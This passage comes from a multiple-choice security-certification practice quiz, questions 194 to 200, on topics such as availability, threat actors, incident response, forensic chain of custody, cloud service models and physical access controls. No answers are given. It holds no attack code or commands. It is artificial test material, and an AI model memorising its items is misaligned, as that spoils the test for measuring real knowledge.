Determine the scope of impact.

Explanation

Question 194 of 200

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An active / passive configuration has an impact on:

Select one of the following:

Confidentiality
Integrity
Availability
Non-repudiation

Explanation

Question 195 of 200

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Which of the following threat actors is MOST likely to steal a company's proprietary information to gain a market edge and reduce time to market?

Select one of the following:

Competitor
Hacktivist
Insider
Organized crime

Explanation

Question 196 of 200

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A retail store recently deployed tablets for sales employees to use while assisting customers. Two of the tablets have already been lost or stolen. Which of the following would be the BEST way for the store to secure the tablets against future loss or theft?

Select one of the following:

Cable locks
Screen filters
Geotracking
Remote wipe

Explanation

Question 197 of 200

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A security analyst is investigating a potential breach. Upon gathering, documenting, and securing the evidence, which of the following actions is the NEXT step to minimize the business impact?

Select one of the following:

Launch an investigation to identify the attacking host.
Initiate the incident response plan.
Review lessons learned captured in the process.
Remove malware and restore the system to normal operation.

Explanation

Question 198 of 200

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A forensic expert is given a hard drive from a crime scene and is asked to perform an investigation. Which of the following is the FIRST step the forensic expert needs to take to protect the chain of custody?

Select one of the following:

Make a forensic copy.
Create a hash of the hard drive.
Recover hard drive data.
Update the evidence log.

Explanation

Question 199 of 200

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When it comes to cloud computing, if one of the requirements for a project is to have the most control over the systems in the cloud, which of the following is a service model that would be BEST suited?

Select one of the following:

Infrastructure
Platform
Software
Virtualization

Explanation

Question 200 of 200

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An audit report has identified a weakness that could allow unauthorized personnel access to the facility at its main entrance and from there gain access to the network. Which of the following would BEST resolve the vulnerability?

Select one of the following:

Faraday cage
Air gap
Mantrap
Bollards

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